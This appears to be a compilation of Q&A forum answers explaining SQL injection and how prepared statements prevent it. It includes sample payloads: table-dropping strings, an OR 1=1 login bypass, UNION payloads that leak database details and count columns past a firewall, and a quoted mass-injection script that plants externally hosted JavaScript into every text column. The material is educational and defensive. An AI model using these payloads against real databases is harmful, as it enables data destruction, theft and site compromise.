How This SQL Injection Works? Explanation Needed

How this SQL injection works? Explanation needed

The simplest Explanation i can give for what SQL injection is:

This may make a SQL query like the following:

SELECT * FROM Order WHERE name = 'Dan' AND pay_type = 'po'

Now a nice user would supply the name Dan like above.

But an evil user (let's call him Bobby), would supply the name:
Bobby Tables'; DROP DATABASE master; --

That creates a query like:

SELECT * FROM Order WHERE name = 'Bobby Tables'; DROP DATABASE master; --' AND pay_type = 'po'

which effectively executes the two queries:

SELECT *
FROM Order
WHERE name = 'Bobby Tables';

DROP DATABASE master;

And now the database is gone. Worse damage comes from when they pull private information out of the database instead (like username/passwords or credit card info)

As for why the question mark magically now protects you:

Using the question mark in RoR, makes use of a pattern called parameterization. When you parameterize a SQL query, you write it in such a way that it prevents anyone from entering a successful SQL injection. Everywhere a question mark is used, it is replaced by a parameter. That parameter is then safely set to a value at the top of the query by escaping any quotations.

If you now supply the name Dan to:

Order.where(["name = ? and pay_type = 'po'", params[:name])

the query would look something like: (RoR may parameterize slightly differently internally, but the effect is the same)

DECLARE @p0 nvarchar(4000) = N'po',
        @p1 nvarchar(4000) = N'Dan';

SELECT [t0].[ID], [t0].[name], [t0].[pay_type]
FROM Order AS [t0]
WHERE ([t0].[name] = @p1) AND ([t0].[pay_type] = @p1)

And now if evil Bobby comes along with his name of:
`Bobby Tables'; DROP DATABASE master; --

if would parameterize (and escape quotations) the query like:

DECLARE @p0 nvarchar(4000) = N'po',
        @p1 nvarchar(4000) = N'Bobby Tables''; DROP DATABASE master; --';

SELECT [t0].[ID], [t0].[name], [t0].[pay_type]
FROM Order AS [t0]
WHERE ([t0].[name] = @p1) AND ([t0].[pay_type] = @p1)

That is now a perfectly safe query

Hope that helps you understand

How does the SQL injection from the Bobby Tables XKCD comic work?

It drops the students table.

The original code in the school's program probably looks something like

q = "INSERT INTO Students VALUES ('" + FNMName.Text + "', '" + LName.Text + "')";

This is the naive way to add text input into a query, and is very bad, as you will see.

After the values from the first name, middle name textbox FNMName.Text (which is Robert'); DROP TABLE STUDENTS; --) and the last name textbox LName.Text (let's call it Derper) are concatenated with the rest of the query, the result is now actually two queries separated by the statement terminator (semicolon). The second query has been injected into the first. When the code executes this query against the database, it will look like this

INSERT INTO Students VALUES ('Robert'); DROP TABLE Students; --', 'Derper')

which, in plain English, roughly translates to the two queries:

Add a new record to the Students table with a Name value of 'Robert'

and

Delete the Students table

Everything past the second query is marked as a comment: --', 'Derper')

The ' in the student's name is not a comment, it's the closing string delimiter. Since the student's name is a string, it's needed syntactically to complete the hypothetical query. Injection attacks only work when the SQL query they inject results in valid SQL.

^{^{Edited again as per dan04's astute comment}}

How do SQL injections conceptually work? (brief)

Although much of this can be explained online, I have a feeling to explain this in a bit more detail.

If you can visualise what the string will become, you will understand the underlying risks of the script you are writing, in that it will become something else before it is actually ran.

A trivial malicious example:

$fromtheuser = "foo'; DROP TABLE affiliates; --";
$q = "SELECT id FROM affiliates WHERE website = '$fromtheuser'";

Can you explain what this will become? The developer couldn't.

"SELECT id FROM affiliates WHERE website = 'foo'; DROP TABLE affiliates; --'"

The key portions of this vector being '; to end the SQL string primitive, and --' to comment out the pushed quote.

What you would be looking for in the code written, is proper sanitization and filtering of the data before it is even placed in to the query. One important tool to help secure this front is some form of prepared query, in such you can bind the parameters to the query so that there is nothing to manipulate.

We can achieve this with prepared statements in either MySQLi (improved) or my personal favourite PDO. A quick rundown of what they look like.

mysql_real_escape_string (can handle encoding and quotes)

<?php
$clean = mysql_real_escape_string($q)

MySQLi:

<?php
$clean = $mysqli->prepare("SELECT id FROM affiliates WHERE website = ?");
$clean->bind_param('s', $website); //'s' for 'string'

PDO:

<?php
$clean = $pdo->prepare("SELECT id FROM affiliates WHERE website = ?");
$clean->bindParam(1, $website); //you can use :site rather than ? and 1

How does SQL-injection work and how do I protect against it

I cannot resist aswell.

SQL Injection is "a code injection technique that exploits a security vulnerability occurring in the database layer of an application". In other words it's SQL code injected in as user input inside a query.

SQL Injections can manipulate data (delete, update, add ecc...) and corrupt or delete tables of the database. I'm not aware of SQL Injections manipulating scripts though.

Let's say in your PHP script you are expecting (as user input) a username and a password from the login form that are later used inside a query such as:

SELECT Id FROM Users WHERE Name = $name AND Password = $password;

The user can insert inside $name and as $password whatever he likes (for example trough an <input>). Let's imagine he adds a name such as "1 OR 1 = 1; --", the query will now look like:

SELECT Id FROM Users WHERE Name = 1 OR 1 = 1; -- AND Password = $password;

and then, after the ; I could add another query or make the script think that the username and the password actually exists.

Notice that -- AND Password = $password; is a SQL comment and will therefore be ignored.

If you are using PHP < 5 then you should look for mysql_real_escape_string() and use it to escape user inputs before embedding it inside a query.

If you are using PHP5+ you should use PDO or the mysqli extension which can prevent this problem via prepared statements.

Can someone explain this SQL injection attack to me?

Just formatting it for readability will clarify a lot:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.

How can prepared statements protect from SQL injection attacks?

The idea is very simple - the query and the data are sent to the database server separately.

That's all.

The root of the SQL injection problem is in the mixing of the code and the data.

In fact, our SQL query is a legitimate program.
And we are creating such a program dynamically, adding some data on the fly. Thus, the data may interfere with the program code and even alter it, as every SQL injection example shows it (all examples in PHP/Mysql):

$expected_data = 1;
$query = "SELECT * FROM users where id=$expected_data";

will produce a regular query

SELECT * FROM users where id=1

while this code

$spoiled_data = "1; DROP TABLE users;"
$query        = "SELECT * FROM users where id=$spoiled_data";

will produce a malicious sequence

SELECT * FROM users where id=1; DROP TABLE users;

It works because we are adding the data directly to the program body and it becomes a part of the program, so the data may alter the program, and depending on the data passed, we will either have a regular output or a table users deleted.

While in case of prepared statements we don't alter our program, it remains intact
That's the point.

We are sending a program to the server first

$db->prepare("SELECT * FROM users where id=?");

where the data is substituted by some variable called a parameter or a placeholder.

Note that exactly the same query is sent to the server, without any data in it! And then we're sending the data with the second request, essentially separated from the query itself:

$db->execute($data);

so it can't alter our program and do any harm.

Quite simple - isn't it?

The only thing I have to add that always omitted in the every manual:

Prepared statements can protect only data literals, but cannot be used with any other query part.

So, once we have to add, say, a dynamical identifier - a field name, for example - prepared statements can't help us. I've explained the matter recently, so I won't repeat myself.

Explanation of particular sql injection

It replaces an improperly written parametrized query like this:

$sql = '
SELECT  *
FROM    products
WHERE   id = ' . $_GET['id'];

with this query:

SELECT  *
FROM    products
WHERE   id = 1
UNION ALL
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6

, which gives you information about the database name, version and username connected.

Clarifications about some SQL Injection commands

The stage of hacking is: recon, scanning, gaining access, maintaining access, and clearing tracks. Basically it's just obtain information, then do something with that information It seems that this SQL injection learning module is used to teach how to obtain information about the current system.

The basic of SQL injection is inserting SQL code/command/syntax. It's usually done in the WHERE clause (because webapp often have search feature, which is basically retrieving user input and inserting it on the where clause.

For example, the simplest vulnerability would be like this (assuming MySQL and PHP):

SELECT * FROM mytable WHERE mycolumn='$_GET[myparam]'

Payload is what you put inside the parameter (ex: myparam) to do SQL injection.
With such query, you can inject payload 1' OR 1=1 to test for SQL injection vulnerability.

1st payload

1st payload is used to check if there is an injection point (parameter that can be injected) or not.

If you change the parameter and there is a change on the output, then it means there is an injection point.
Otherwise there is no injection point

2nd payload

2nd payload is used to check if the target app have SQL injection vulnerability or not (would the app sanitize user's input or not).

If the app shows all output, then it means the app have SQL injection vulnerability. Explanation: because the query sent to RDBMS would become something like this

Before injection:
SELECT col1, col2, ... colN FROM mytable WHERE col1='myparam'

After injection:
SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1-- -'

Please note that in MySQL, -- (minus-minus-space) is used to mark inline comment. So the actual query would be: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1

3rd payload

3rd payload is used to check how many column the query would SELECT. To understand this you have to understand subquery, join, and union (do a quick search, it's a very basic concept). The name or the table alias is not important (UT1 or UT2), it's just identifier so that it's not identical with current table alias.

If the query succeed (no error, the app display output), then it means the app query SELECTs 2 columns
If the query failed, then it means it's not 2 column, you can change the payload to check for 3 columns, 4 columns, etc...

Example for checking if SELECT statement have 3 columns:

-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 -- -

Tips: when learning about SQL injection, it's far easier to just type (or copy-paste) the payload to your SQL console (use virtual machine or sandbox if the query is considered dangerous).

Edit 1:

basic explanation of subquery and union

Subquery: It's basically putting a query inside another query. Subqueries may be inserted in SELECT clause, FROM clause, and WHERE clause.

Example of subquery in FROM clause:

select * from (select 'hello','world','foo','bar')x;

Example of subquery in WHERE clause:

select * from tblsample t1 where t1.price>(select avg(t2.price) from tblsample t2);

Union: concatenating select output, example:

tbl1
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | Rupert | Somewhere | 022  |
|  2 | John   | Doe       | 022  |
+----+--------+-----------+------+
tbl2
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | AAAAAA | DDDDDDDDD | 022  |
|  2 | BBBB   | CCC       | 022  |
+----+--------+-----------+------+

select * from tbl1 union select * from tbl2
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | Rupert | Somewhere | 022  |
|  2 | John   | Doe       | 022  |
|  1 | AAAAAA | DDDDDDDDD | 022  |
|  2 | BBBB   | CCC       | 022  |
+----+--------+-----------+------+

Edit 2:

further explanation on 3rd payload

In mysql, you can make a 'literal table' by selecting a value. Here is an example:

MariaDB [(none)]> SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

MariaDB [(none)]> SELECT 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
|        1 |         2 |
+----------+-----------+
1 row in set (0.00 sec)

The purpose of making this 'literal table' is to check how many column the SELECT statement that we inject have. For example:

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
|        1 |         2 |
|        3 |         4 |
+----------+-----------+
2 rows in set (0.07 sec)

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol, 5 fifthcol;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

As shown above, when UNION is used on two select statement with different number of column, it'll throw an error. Therefore, you can get how many column a SELECT statement when it DOESN'T throw an error.

So, why don't we just use SELECT 1, 2 to generate a 'literal table' with 2 column? That's because the application's firewall block the usage of comma. Therefore we must go the roundabout way and make 2 columned 'literal table' with JOIN query SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1

MariaDB [(none)]> SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.01 sec)

Additional note: MariaDB is the 'free version' of MySQL (since MySQL was sold and made proprietary). MariaDB maintain more or less the same syntax and command as MySQL.

SQL injection on INSERT

Injection can happen on any SQL statement not run properly.

For example, let's pretend your comment table has two fields, an integer ID and the comment string. So you'd INSERT as follows:

 INSERT INTO COMMENTS VALUES(122,'I like this website');

Consider someone entering the following comment:

'); DELETE FROM users; --

If you just put the comment string into the SQL without any processesing this could turn your single INSERT in to the following two statements followed by a comment:

INSERT INTO COMMENTS VALUES(123,''); DELETE FROM users; -- ');

This would delete everything from your users table. And there are people willing to spend all day finding the right tablename to empty using trial and error and various tricks. Here's a description of how you could perform an SQL Injection attack.

You need to use parameterized SQL statements to prevent this.

And this isn't just for security reasons. For example, if you're creating your SQL statements naively the following comment:

I'm just loving this website

would cause an SQL syntax error because of the apostrophe being interpreted by SQL as a closing quote.

How This SQL Injection Works? Explanation Needed